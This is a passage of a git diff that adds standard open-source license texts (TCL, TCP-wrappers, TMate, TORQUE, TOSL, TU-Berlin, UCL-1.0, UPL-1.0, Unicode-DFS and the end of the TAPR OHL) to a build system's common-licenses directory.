+Documentation. Attempting to send the email completes your obligations
+under this Section and you need take no further action if any address
+fails.
+
+4. Distributing Documentation
+4.1 You may distribute unmodified copies of the Documentation in its
+entirety in any medium, provided that you retain all copyright and other
+notices (including references to this Agreement) included by each
+Licensor, and include an unaltered copy of this Agreement.
+4.2 You may distribute modified copies of the Documentation if you
+comply with all the requirements of the preceding paragraph and:
+ (a) include a prominent notice in an ASCII or other open format
+ file identifying those elements of the Documentation that you
+ changed, and stating that the modifications are licensed under
+ the terms of this Agreement;
+ (b) include all new documentation files that you create, as well as
+ both the original and modified versions of each file you change
+ (files may be in your development tool's native file format,
+ but if reasonably possible, you must also include open format,
+ such as Gerber, ASCII, Postscript, or PDF, versions);
+ (c) do not change the terms of this Agreement with respect to
+ subsequent licensees; and
+ (d) if you make or have Products made, include in the Documentation
+ all elements reasonably required to permit others to make
+ Products, including Gerber, CAD/CAM and other files used for
+ manufacture.
+
+5. Making Products
+5.1 You may use the Documentation to make or have Products made,
+provided that each Product retains any notices included by the Licensor
+(including, but not limited to, copyright notices on circuit boards).
+5.2 You may distribute Products you make or have made, provided that
+you include with each unit a copy of the Documentation in a form
+consistent with Section 4. Alternatively, you may include either (i) an
+offer valid for at least three years to provide that Documentation, at
+no charge other than the reasonable cost of media and postage, to any
+person who requests it; or (ii) a URL where that Documentation may be
+downloaded, available for at least three years after you last distribute
+the Product.
+
+6. NEW LICENSE VERSIONS
+TAPR may publish updated versions of the OHL which retain the same
+general provisions as the present version, but differ in detail to
+address new problems or concerns, and carry a distinguishing version
+number. If the Documentation specifies a version number which applies
+to it and "any later version", you may choose either that version or any
+later version published by TAPR. If the Documentation does not specify
+a version number, you may choose any version ever published by TAPR.
+TAPR owns the copyright to the OHL, but grants permission to any person
+to copy, distribute, and use it in unmodified form.
+
+7. WARRANTY AND LIABILITY LIMITATIONS
+7.1 THE DOCUMENTATION IS PROVIDED ON AN"AS-IS" BASIS WITHOUT
+WARRANTY OF ANY KIND, TO THE EXTENT PERMITTED BY APPLICABLE LAW. ALL
+WARRANTIES, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY
+WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND
+TITLE, ARE HEREBY EXPRESSLY DISCLAIMED.
+7.2 IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW WILL ANY LICENSOR
+BE LIABLE TO YOU OR ANY THIRD PARTY FOR ANY DIRECT, INDIRECT,
+INCIDENTAL, CONSEQUENTIAL, PUNITIVE, OR EXEMPLARY DAMAGES ARISING OUT OF
+THE USE OF, OR INABILITY TO USE, THE DOCUMENTATION OR PRODUCTS,
+INCLUDING BUT NOT LIMITED TO CLAIMS OF INTELLECTUAL PROPERTY
+INFRINGEMENT OR LOSS OF DATA, EVEN IF THAT PARTY HAS BEEN ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGES.
+7.3 You agree that the foregoing limitations are reasonable due to
+the non-financial nature of the transaction represented by this
+Agreement, and acknowledge that were it not for these limitations, the
+Licensor(s) would not be willing to make the Documentation available to
+you.
+7.4 You agree to defend, indemnify, and hold each Licensor harmless
+from any claim brought by a third party alleging any defect in the
+design, manufacture, or operation of any Product which you make, have
+made, or distribute pursuant to this Agreement.
+ ####
diff --git a/meta/files/common-licenses/TCL b/meta/files/common-licenses/TCL
new file mode 100644
index 0000000000..4b9cdb48a6
--- /dev/null
+++ b/meta/files/common-licenses/TCL
@@ -0,0 +1,9 @@
+This software is copyrighted by the Regents of the University of California, Sun Microsystems, Inc., Scriptics Corporation, ActiveState Corporation and other parties. The following terms apply to all files associated with the software unless explicitly disclaimed in individual files.
+
+The authors hereby grant permission to use, copy, modify, distribute, and license this software and its documentation for any purpose, provided that existing copyright notices are retained in all copies and that this notice is included verbatim in any distributions. No written agreement, license, or royalty fee is required for any of the authorized uses. Modifications to this software may be copyrighted by their authors and need not follow the licensing terms described here, provided that the new terms are clearly indicated on the first page of each file where they apply.
+
+IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS.
+
+GOVERNMENT USE: If you are acquiring this software on behalf of the U.S. government, the Government shall have only "Restricted Rights" in the software and related documentation as defined in the Federal Acquisition Regulations (FARs) in Clause 52.227.19 (c) (2). If you are acquiring the software on behalf of the Department of Defense, the software shall be classified as "Commercial Computer Software" and the Government shall have only "Restricted Rights" as defined in Clause 252.227-7013 (c) (1) of DFARs. Notwithstanding the foregoing, the authors grant the U.S. Government and others acting in its behalf permission to use and distribute the software in accordance with the terms specified in this license.
diff --git a/meta/files/common-licenses/TCP-wrappers b/meta/files/common-licenses/TCP-wrappers
new file mode 100644
index 0000000000..e13d4f5327
--- /dev/null
+++ b/meta/files/common-licenses/TCP-wrappers
@@ -0,0 +1,7 @@
+Copyright 1995 by Wietse Venema. All rights reserved. Some individual files may be covered by other copyrights.
+
+This material was originally written and compiled by Wietse Venema at Eindhoven University of Technology, The Netherlands, in 1990, 1991, 1992, 1993, 1994 and 1995.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that this entire copyright notice is duplicated in all such copies.
+
+This software is provided "as is" and without any expressed or implied warranties, including, without limitation, the implied warranties of merchantibility and fitness for any particular purpose.
diff --git a/meta/files/common-licenses/TMate b/meta/files/common-licenses/TMate
new file mode 100644
index 0000000000..75fe4b42f9
--- /dev/null
+++ b/meta/files/common-licenses/TMate
@@ -0,0 +1,21 @@
+The TMate Open Source License.
+
+This license applies to all portions of TMate SVNKit library, which are not externally-maintained libraries (e.g. Ganymed SSH library).
+
+All the source code and compiled classes in package org.tigris.subversion.javahl except SvnClient class are covered by the license in JAVAHL-LICENSE file
+
+Copyright (c) 2004-2012 TMate Software. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+ * Redistributions in any form must be accompanied by information on how to obtain complete source code for the software that uses SVNKit and any accompanying software that uses the software that uses SVNKit. The source code must either be included in the distribution or be available for no more than the cost of distribution plus a nominal fee, and must be freely redistributable under reasonable conditions. For an executable file, complete source code means the source code for all modules it contains. It does not include source code for modules or files that typically accompany the major components of the operating system on which the executable file runs.
+
+ * Redistribution in any form without redistributing source code for software that uses SVNKit is possible only when such redistribution is explictly permitted by TMate Software. Please, contact TMate Software at support@svnkit.com to get such permission.
+
+THIS SOFTWARE IS PROVIDED BY TMATE SOFTWARE ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, OR NON-INFRINGEMENT, ARE DISCLAIMED.
+
+IN NO EVENT SHALL TMATE SOFTWARE BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/TORQUE-1.1 b/meta/files/common-licenses/TORQUE-1.1
new file mode 100644
index 0000000000..52c884e8de
--- /dev/null
+++ b/meta/files/common-licenses/TORQUE-1.1
@@ -0,0 +1,25 @@
+TORQUE v2.5+ Software License v1.1
+Copyright (c) 2010-2011 Adaptive Computing Enterprises, Inc. All rights reserved.
+
+Use this license to use or redistribute the TORQUE software v2.5+ and later versions. For free support for TORQUE users, questions should be emailed to the community of TORQUE users at torqueusers@supercluster.org. Users can also subscribe to the user mailing list at http://www.supercluster.org/mailman/listinfo/torqueusers. Customers using TORQUE that also are licensed users of Moab branded software from Adaptive Computing Inc. can get TORQUE support from Adaptive Computing via:
+Email: torque-support@adaptivecomputing.com.
+Phone: (801) 717-3700
+Web: www.adaptivecomputing.com www.clusterresources.com
+
+This license covers use of the TORQUE v2.5 software (the "Software") at your site or location, and, for certain users, redistribution of the Software to other sites and locations1. Later versions of TORQUE are also covered by this license. Use and redistribution of TORQUE v2.5 in source and binary forms, with or without modification, are permitted provided that all of the following conditions are met.
+
+1. Any Redistribution of source code must retain the above copyright notice and the acknowledgment contained in paragraph 5, this list of conditions and the disclaimer contained in paragraph 5.
+
+2. Any Redistribution in binary form must reproduce the above copyright notice and the acknowledgment contained in paragraph 4, this list of conditions and the disclaimer contained in paragraph 5 in the documentation and/or other materials provided with the distribution.
+
+3. Redistributions in any form must be accompanied by information on how to obtain complete source code for TORQUE and any modifications and/or additions to TORQUE. The source code must either be included in the distribution or be available for no more than the cost of distribution plus a nominal fee, and all modifications and additions to the Software must be freely redistributable by any party (including Licensor) without restriction.
+
+4. All advertising materials mentioning features or use of the Software must display the following acknowledgment:
+"TORQUE is a modification of OpenPBS which was developed by NASA Ames Research Center, Lawrence Livermore National Laboratory, and Veridian TORQUE Open Source License v1.1. 1 Information Solutions, Inc. Visit www.clusterresources.com/products/ for more information about TORQUE and to download TORQUE. For information about Moab branded products and so receive support from Adaptive Computing for TORQUE, see www.adaptivecomputing.com.”
+
+5. DISCLAIMER OF WARRANTY THIS SOFTWARE IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND. ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT ARE EXPRESSLY DISCLAIMED. IN NO EVENT SHALL ADAPTIVE COMPUTING ENTERPRISES, INC. CORPORATION, ITS AFFILIATED COMPANIES, OR THE U.S. GOVERNMENT OR ANY OF ITS AGENCIES BE LIABLE FOR ANY DIRECT OR INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+This license will be governed by the laws of Utah, without reference to its choice of law rules.
+
+Note 1: TORQUE is developed from an earlier version v2.3 of OpenPBS. TORQUE has been developed beyond OpenPBS v2.3. The OpenPBS v2.3 license and OpenPBS software can be obtained at:
+http://www.pbsworks.com/ResLibSearchResult.aspx?keywords=openpbs&industry=All&pro duct_service=All&category=Free%20Software%20Downloads&order_by=title. Users of TORQUE should comply with the TORQUE license as well as the OpenPBS license.
diff --git a/meta/files/common-licenses/TOSL b/meta/files/common-licenses/TOSL
new file mode 100644
index 0000000000..efee67e571
--- /dev/null
+++ b/meta/files/common-licenses/TOSL
@@ -0,0 +1,9 @@
+Trusster Open Source License version 1.0a (TRUST) copyright (c) 2006 Mike Mintz and Robert Ekendahl. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ * Redistributions in any form must be accompanied by information on how to obtain complete source code for this software and any accompanying software that uses this software. The source code must either be included in the distribution or be available in a timely fashion for no more than the cost of distribution plus a nominal fee, and must be freely redistributable under reasonable and no more restrictive conditions. For an executable file, complete source code means the source code for all modules it contains. It does not include source code for modules or files that typically accompany the major components of the operating system on which the executable file runs.
+
+THIS SOFTWARE IS PROVIDED BY MIKE MINTZ AND ROBERT EKENDAHL ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, OR NON-INFRINGEMENT, ARE DISCLAIMED. IN NO EVENT SHALL MIKE MINTZ AND ROBERT EKENDAHL OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/TU-Berlin-1.0 b/meta/files/common-licenses/TU-Berlin-1.0
new file mode 100644
index 0000000000..08f954e88c
--- /dev/null
+++ b/meta/files/common-licenses/TU-Berlin-1.0
@@ -0,0 +1,10 @@
+Copyright 1992 by Jutta Degener and Carsten Bormann,
+Technische Universitaet Berlin
+
+Any use of this software is permitted provided that this notice is not removed and that neither the authors nor the Technische Universitaet Berlin are deemed to have made any representations as to the suitability of this software for any purpose nor are held responsible for any defects of this software. THERE IS ABSOLUTELY NO WARRANTY FOR THIS SOFTWARE.
+
+As a matter of courtesy, the authors request to be informed about uses this software has found, about bugs in this software, and about any improvements that may be of general interest.
+
+Berlin, 15.09.1992
+Jutta Degener
+Carsten Bormann
diff --git a/meta/files/common-licenses/TU-Berlin-2.0 b/meta/files/common-licenses/TU-Berlin-2.0
new file mode 100644
index 0000000000..82897c1871
--- /dev/null
+++ b/meta/files/common-licenses/TU-Berlin-2.0
@@ -0,0 +1,20 @@
+Copyright 1992, 1993, 1994 by Jutta Degener and Carsten Bormann,
+Technische Universitaet Berlin
+
+Any use of this software is permitted provided that this notice is not removed and that neither the authors nor the Technische Universitaet Berlin are deemed to have made any representations as to the suitability of this software for any purpose nor are held responsible for any defects of this software. THERE IS ABSOLUTELY NO WARRANTY FOR THIS SOFTWARE.
+
+As a matter of courtesy, the authors request to be informed about uses this software has found, about bugs in this software, and about any improvements that may be of general interest.
+
+Berlin, 28.11.1994
+Jutta Degener
+Carsten Bormann
+
+oOo
+
+Since the original terms of 15 years ago maybe do not make our intentions completely clear given today's refined usage of the legal terms, we append this additional permission:
+
+Permission to use, copy, modify, and distribute this software for any purpose with or without fee is hereby granted, provided that this notice is not removed and that neither the authors nor the Technische Universitaet Berlin are deemed to have made any representations as to the suitability of this software for any purpose nor are held responsible for any defects of this software. THERE IS ABSOLUTELY NO WARRANTY FOR THIS SOFTWARE.
+
+Berkeley/Bremen, 05.04.2009
+Jutta Degener
+Carsten Bormann
diff --git a/meta/files/common-licenses/UCL-1.0 b/meta/files/common-licenses/UCL-1.0
new file mode 100644
index 0000000000..8915f82b45
--- /dev/null
+++ b/meta/files/common-licenses/UCL-1.0
@@ -0,0 +1,48 @@
+Upstream Compatibility License v. 1.0 (UCL-1.0)
+
+This Upstream Compatibility License (the "License") applies to any original work of authorship (the "Original Work") whose owner (the "Licensor") has placed the following licensing notice adjacent to the copyright notice for the Original Work:
+
+ Licensed under the Upstream Compatibility License 1.0
+
+1) Grant of Copyright License. Licensor grants You a worldwide, royalty-free, non-exclusive, sublicensable license, for the duration of the copyright, to do the following:
+
+ a) to reproduce the Original Work in copies, either alone or as part of a collective work;
+
+ b) to translate, adapt, alter, transform, modify, or arrange the Original Work, thereby creating derivative works ("Derivative Works") based upon the Original Work;
+
+ c) to distribute or communicate copies of the Original Work and Derivative Works to the public, with the proviso that copies of Original Work You distribute or communicate shall be licensed under this Upstream Compatibility License and all Derivative Work You distribute or communicate
+ shall be licensed under both this Upstream Compatibility License and the Apache License 2.0 or later;
+
+ d) to perform the Original Work publicly; and
+
+ e) to display the Original Work publicly.
+
+2) Grant of Patent License. Licensor grants You a worldwide, royalty-free, non-exclusive, sublicensable license, under patent claims owned or controlled by the Licensor that are embodied in the Original Work as furnished by the Licensor, for the duration of the patents, to make, use, sell, offer for sale, have made, and import the Original Work and Derivative Works.
+
+3) Grant of Source Code License. The term "Source Code" means the preferred form of the Original Work for making modifications to it and all available documentation describing how to modify the Original Work. Licensor agrees to provide a machine-readable copy of the Source Code of the Original Work along with each copy of the Original Work that Licensor distributes. Licensor reserves the right to satisfy this obligation by placing a machine-readable copy of the Source Code in an information repository reasonably calculated to permit inexpensive and convenient access by You for as long as Licensor continues to distribute the Original Work.
+
+4) Exclusions From License Grant. Neither the names of Licensor, nor the names of any contributors to the Original Work, nor any of their trademarks or service marks, may be used to endorse or promote products derived from this Original Work without express prior permission of the Licensor. Except as expressly stated herein, nothing in this License grants any license to Licensor’s trademarks, copyrights, patents, trade secrets or any other intellectual property. No patent license is granted to make, use, sell, offer for sale, have made, or import embodiments of any patent claims other than the licensed claims defined in Section 2. No license is granted to the trademarks of Licensor even if such marks are included in the Original Work. Nothing in this License shall be interpreted to prohibit Licensor from licensing under terms different from this License any Original Work that Licensor otherwise would have a right to license.
+
+5) External Deployment. The term "External Deployment" means the use, distribution, or communication of the Original Work or Derivative Works in any way such that the Original Work or Derivative Works may be used by anyone other than You, whether those works are distributed or communicated to those persons or made available as an application intended for use over a network. As an express condition for the grants of license hereunder, You must treat any External Deployment by You of the Original Work or a Derivative Work as a distribution under section 1(c).
+
+6) Attribution Rights. You must retain, in the Source Code of any Derivative Works that You create, all copyright, patent, or trademark notices from the Source Code of the Original Work, as well as any notices of licensing and any descriptive text identified therein as an "Attribution Notice." You must cause the Source Code for any Derivative Works that You create to carry a prominent Attribution Notice reasonably calculated to inform recipients that You have modified the Original Work.
+
+7) Warranty of Provenance and Disclaimer of Warranty. Licensor warrants that the copyright in and to the Original Work and the patent rights granted herein by Licensor are owned by the Licensor or are sublicensed to You under the terms of this License with the permission of the contributor(s) of those copyrights and patent rights. Except as expressly stated in the immediately preceding sentence, the Original Work is provided under this License on an "AS IS" BASIS and WITHOUT WARRANTY, either express or implied, including, without limitation, the warranties of non-infringement, merchantability or fitness for a particular purpose. THE ENTIRE RISK AS TO THE QUALITY OF THE ORIGINAL WORK IS WITH YOU. This DISCLAIMER OF WARRANTY constitutes an essential part of this License. No license to the Original Work is granted by this License except under this disclaimer.
+
+8) Limitation of Liability. Under no circumstances and under no legal theory, whether in tort (including negligence), contract, or otherwise, shall the Licensor be liable to anyone for any indirect, special, incidental, or consequential damages of any character arising as a result of this License or the use of the Original Work including, without limitation, damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses. This limitation of liability shall not apply to the extent applicable law prohibits such limitation.
+
+9) Acceptance and Termination. If, at any time, You expressly assented to this License, that assent indicates your clear and irrevocable acceptance of this License and all of its terms and conditions. If You distribute or communicate copies of the Original Work or a Derivative Work, You must make a reasonable effort under the circumstances to obtain the express assent of recipients to the terms of this License. This License conditions your rights to undertake the activities listed in Section 1, including your right to create Derivative Works based upon the Original Work, and doing so without honoring these terms and conditions is prohibited by copyright law and international treaty. Nothing in this License is intended to affect copyright exceptions and limitations (including “fair use” or “fair dealing”). This License shall terminate immediately and You may no longer exercise any of the rights granted to You by this License upon your failure to honor the conditions in Section 1(c).
+
+10) Termination for Patent Action. This License shall terminate automatically and You may no longer exercise any of the rights granted to You by this License as of the date You commence an action, including a cross-claim or counterclaim, against Licensor or any licensee alleging that the Original Work infringes a patent. This termination provision shall not apply for an action alleging patent infringement by combinations of the Original Work with other software or hardware.
+
+11) Jurisdiction, Venue and Governing Law. Any action or suit relating to this License may be brought only in the courts of a jurisdiction wherein the Licensor resides or in which Licensor conducts its primary business, and under the laws of that jurisdiction excluding its conflict-of-law provisions. The application of the United Nations Convention on Contracts for the International Sale of Goods is expressly excluded. Any use of the Original Work outside the scope of this License or after its termination shall be subject to the requirements and penalties of copyright or patent law in the appropriate jurisdiction. This section shall survive the termination of this License.
+
+12) Attorneys' Fees. In any action to enforce the terms of this License or seeking damages relating thereto, the prevailing party shall be entitled to recover its costs and expenses, including, without limitation, reasonable attorneys' fees and costs incurred in connection with such action, including any appeal of such action. This section shall survive the termination of this License.
+
+13) Miscellaneous. If any provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable.
+
+14) Definition of "You" in This License. "You" throughout this License, whether in upper or lower case, means an individual or a legal entity exercising rights under, and complying with all of the terms of, this License. For legal entities, "You" includes any entity that controls, is controlled by, or is under common control with you. For purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity.
+
+15) Right to Use. You may use the Original Work in all ways not otherwise restricted or conditioned by this License or by law, and Licensor promises not to interfere with or be responsible for such uses by You.
+
+16) Modification of This License. This License is Copyright (c) 2005 Lawrence Rosen and Copyright (c) 2017 Nigel Tzeng. Permission is granted to copy, distribute, or communicate this License without modification. Nothing in this License permits You to modify this License as applied to the Original Work or to Derivative Works. However, You may modify the text of this License and copy, distribute or communicate your modified version (the "Modified License") and apply it to other original works of authorship subject to the following conditions: (i) You may not indicate in any way that your Modified License is the "Open Software License" or "OSL" or the "Upstream Compatibility License" or "UCL" and you may not use those names in the name of your Modified License; (ii) You must replace the notice specified in the first paragraph above with the notice "Licensed under <insert your license name here>" or with a notice of your own that is not confusingly similar to the notice in this License; and (iii) You may not claim that your original works are open source software unless your Modified License has been approved by Open Source Initiative (OSI) and You comply with its license review and certification process.
diff --git a/meta/files/common-licenses/UPL-1.0 b/meta/files/common-licenses/UPL-1.0
new file mode 100644
index 0000000000..491a5deb4b
--- /dev/null
+++ b/meta/files/common-licenses/UPL-1.0
@@ -0,0 +1,17 @@
+Copyright (c) [year] [copyright holders]
+
+The Universal Permissive License (UPL), Version 1.0
+
+Subject to the condition set forth below, permission is hereby granted to any person obtaining a copy of this software, associated documentation and/or data (collectively the "Software"), free of charge and under any and all copyright rights in the Software, and any and all patent rights owned or freely licensable by each licensor hereunder covering either (i) the unmodified Software as contributed to or provided by such licensor, or (ii) the Larger Works (as defined below), to deal in both
+
+(a) the Software, and
+
+(b) any piece of software and/or hardware listed in the lrgrwrks.txt file if one is included with the Software (each a “Larger Work” to which the Software is contributed by such licensors),
+
+without restriction, including without limitation the rights to copy, create derivative works of, display, perform, and distribute the Software and make, use, sell, offer for sale, import, export, have made, and have sold the Software and the Larger Work(s), and to sublicense the foregoing rights on either these or other terms.
+
+This license is subject to the following condition:
+
+The above copyright notice and either this complete permission notice or at a minimum a reference to the UPL must be included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/meta/files/common-licenses/Unicode-DFS-2015 b/meta/files/common-licenses/Unicode-DFS-2015
new file mode 100644
index 0000000000..278eee1e5e
--- /dev/null
+++ b/meta/files/common-licenses/Unicode-DFS-2015
@@ -0,0 +1,19 @@
+UNICODE, INC. LICENSE AGREEMENT - DATA FILES AND SOFTWARE
+
+Unicode Data Files include all data files under the directories http://www.unicode.org/Public/, http://www.unicode.org/reports/, and http://www.unicode.org/cldr/data/. Unicode Data Files do not include PDF online code charts under the directory http://www.unicode.org/Public/. Software includes any source code published in the Unicode Standard or under the directories http://www.unicode.org/Public/, http://www.unicode.org/reports/, and http://www.unicode.org/cldr/data/.
+
+NOTICE TO USER: Carefully read the following legal agreement. BY DOWNLOADING, INSTALLING, COPYING OR OTHERWISE USING UNICODE INC.'S DATA FILES ("DATA FILES"), AND/OR SOFTWARE ("SOFTWARE"), YOU UNEQUIVOCALLY ACCEPT, AND AGREE TO BE BOUND BY, ALL OF THE TERMS AND CONDITIONS OF THIS AGREEMENT. IF YOU DO NOT AGREE, DO NOT DOWNLOAD, INSTALL, COPY, DISTRIBUTE OR USE THE DATA FILES OR SOFTWARE.
+
+COPYRIGHT AND PERMISSION NOTICE
+
+Copyright © 1991-2015 Unicode, Inc. All rights reserved. Distributed under the Terms of Use in http://www.unicode.org/copyright.html.
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of the Unicode data files and any associated documentation (the "Data Files") or Unicode software and any associated documentation (the "Software") to deal in the Data Files or Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, and/or sell copies of the Data Files or Software, and to permit persons to whom the Data Files or Software are furnished to do so, provided that
+
+ (a) this copyright and permission notice appear with all copies of the Data Files or Software,
+ (b) this copyright and permission notice appear in associated documentation, and
+ (c) there is clear notice in each modified Data File or in the Software as well as in the documentation associated with the Data File(s) or Software that the data or software has been modified.
+
+THE DATA FILES AND SOFTWARE ARE PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR HOLDERS INCLUDED IN THIS NOTICE BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THE DATA FILES OR SOFTWARE.
+
+Except as contained in this notice, the name of a copyright holder shall not be used in advertising or otherwise to promote the sale, use or other dealings in these Data Files or Software without prior written authorization of the copyright holder.
diff --git a/meta/files/common-licenses/Unicode-DFS-2016 b/meta/files/common-licenses/Unicode-DFS-2016
new file mode 100644
index 0000000000..71fd6ac5e1
--- /dev/null
+++ b/meta/files/common-licenses/Unicode-DFS-2016
@@ -0,0 +1,22 @@
+UNICODE, INC. LICENSE AGREEMENT - DATA FILES AND SOFTWARE
+
+Unicode Data Files include all data files under the directories http://www.unicode.org/Public/, http://www.unicode.org/reports/, http://www.unicode.org/cldr/data/, http://source.icu-project.org/repos/icu/, and http://www.unicode.org/utility/trac/browser/.
+
+Unicode Data Files do not include PDF online code charts under the directory http://www.unicode.org/Public/.
+
+Software includes any source code published in the Unicode Standard or under the directories http://www.unicode.org/Public/, http://www.unicode.org/reports/, http://www.unicode.org/cldr/data/, http://source.icu-project.org/repos/icu/, and http://www.unicode.org/utility/trac/browser/.
+
+NOTICE TO USER: Carefully read the following legal agreement. BY DOWNLOADING, INSTALLING, COPYING OR OTHERWISE USING UNICODE INC.'S DATA FILES ("DATA FILES"), AND/OR SOFTWARE ("SOFTWARE"), YOU UNEQUIVOCALLY ACCEPT, AND AGREE TO BE BOUND BY, ALL OF THE TERMS AND CONDITIONS OF THIS AGREEMENT. IF YOU DO NOT AGREE, DO NOT DOWNLOAD, INSTALL, COPY, DISTRIBUTE OR USE THE DATA FILES OR SOFTWARE.
+
+COPYRIGHT AND PERMISSION NOTICE
+
+Copyright © 1991-2016 Unicode, Inc. All rights reserved. Distributed under the Terms of Use in http://www.unicode.org/copyright.html.
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of the Unicode data files and any associated documentation (the "Data Files") or Unicode software and any associated documentation (the "Software") to deal in the Data Files or Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, and/or sell copies of the Data Files or Software, and to permit persons to whom the Data Files or Software are furnished to do so, provided that either
+
+ (a) this copyright and permission notice appear with all copies of the Data Files or Software, or
+ (b) this copyright and permission notice appear in associated Documentation.
+
